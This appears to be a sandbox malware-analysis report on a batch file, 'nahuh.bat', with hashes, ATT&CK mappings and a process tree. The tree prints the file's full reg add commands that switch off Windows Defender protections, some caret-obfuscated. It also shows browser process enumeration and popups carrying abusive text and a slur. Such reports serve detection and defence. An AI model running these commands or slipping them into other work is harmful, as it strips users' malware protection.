2aa07e70f8f562504ec8a47426bd141d02889726794a4d1f14f2c4bd52ed594e

General

Target

nahuh.bat
Size

4KB
MD5

37201a001d693f84dddfe76815e3f869
SHA1

84adbec160a56f4da8f86230744dc8b379891576
SHA256

2aa07e70f8f562504ec8a47426bd141d02889726794a4d1f14f2c4bd52ed594e
SHA512

3649b94893b309c24a4b51f81b5dad26cd8a3f7a4d41e0e1a9c3e9c94b90121a46dbe26acb926ef23ad80dae2ffca0cba37fb053050e880d5b92df7fa39c57fe
SSDEEP

96:HHQGHWr2H6HsHo3lH93HoCXNLIFfZITIxmc:d2yaMI3ld3tXNCfZITIv

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableO^nAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1096	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
908	tasklist.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	908	tasklist.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 3916	4600	cmd.exe	81
PID 4600 wrote to memory of 3916	4600	cmd.exe	81
PID 4600 wrote to memory of 3848	4600	cmd.exe	84
PID 4600 wrote to memory of 3848	4600	cmd.exe	84
PID 4600 wrote to memory of 2260	4600	cmd.exe	85
PID 4600 wrote to memory of 2260	4600	cmd.exe	85
PID 4600 wrote to memory of 5104	4600	cmd.exe	86
PID 4600 wrote to memory of 5104	4600	cmd.exe	86
PID 4600 wrote to memory of 2572	4600	cmd.exe	87
PID 4600 wrote to memory of 2572	4600	cmd.exe	87
PID 4600 wrote to memory of 2956	4600	cmd.exe	88
PID 4600 wrote to memory of 2956	4600	cmd.exe	88
PID 4600 wrote to memory of 2988	4600	cmd.exe	89
PID 4600 wrote to memory of 2988	4600	cmd.exe	89
PID 4600 wrote to memory of 488	4600	cmd.exe	90
PID 4600 wrote to memory of 488	4600	cmd.exe	90
PID 4600 wrote to memory of 1800	4600	cmd.exe	91
PID 4600 wrote to memory of 1800	4600	cmd.exe	91
PID 4600 wrote to memory of 908	4600	cmd.exe	92
PID 4600 wrote to memory of 908	4600	cmd.exe	92
PID 4600 wrote to memory of 460	4600	cmd.exe	93
PID 4600 wrote to memory of 460	4600	cmd.exe	93
PID 4600 wrote to memory of 2856	4600	cmd.exe	95
PID 4600 wrote to memory of 2856	4600	cmd.exe	95
PID 4600 wrote to memory of 1096	4600	cmd.exe	96
PID 4600 wrote to memory of 1096	4600	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nahuh.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\system32\cscript.exe
  cscript "C:\Users\Admin\AppData\Local\Temp\runadmin.vbs"
  2⤵
  PID:3916
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:3848
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Mic^rosoft\Windows Defender" /v "DisableR^ealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:2260
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5104
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableO^nAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2572
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2956
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
  2⤵
  PID:2988
- C:\Windows\system32\msg.exe
  msg * "fuck u"
  2⤵
  PID:488
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "RegisteredOwner" /t REG_SZ /d "I hate nwords" /f
  2⤵
  PID:1800
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq chrome.exe" /FI "IMAGENAME eq firefox.exe" /FI "IMAGENAME eq msedge.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:908
- C:\Windows\system32\find.exe
  find /I "chrome.^exe"
  2⤵
  PID:460
- C:\Windows\system32\msg.exe
  msg * "OPEN THE WEBSITE"
  2⤵
  PID:2856
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Process Discovery

1

T1057

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\runadmin.vbs

Filesize
132B

MD5
e27735da1df9429e609b8bf50f0e5f27

SHA1
1bd24f94839cc7100fd174d9bb31d78b4d4efa6e

SHA256
9e11ee22767f011c35f7ac05334205835b13241210dced3abacc9322452987be

SHA512
c943b72c8554803ae2cea74153fb8c89558ac69daab725d8a2ffac230b536f917715b5d0ed82bd9c9df3a2ba85f1447d01940b7881fabfc642b498669e42f1a1

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads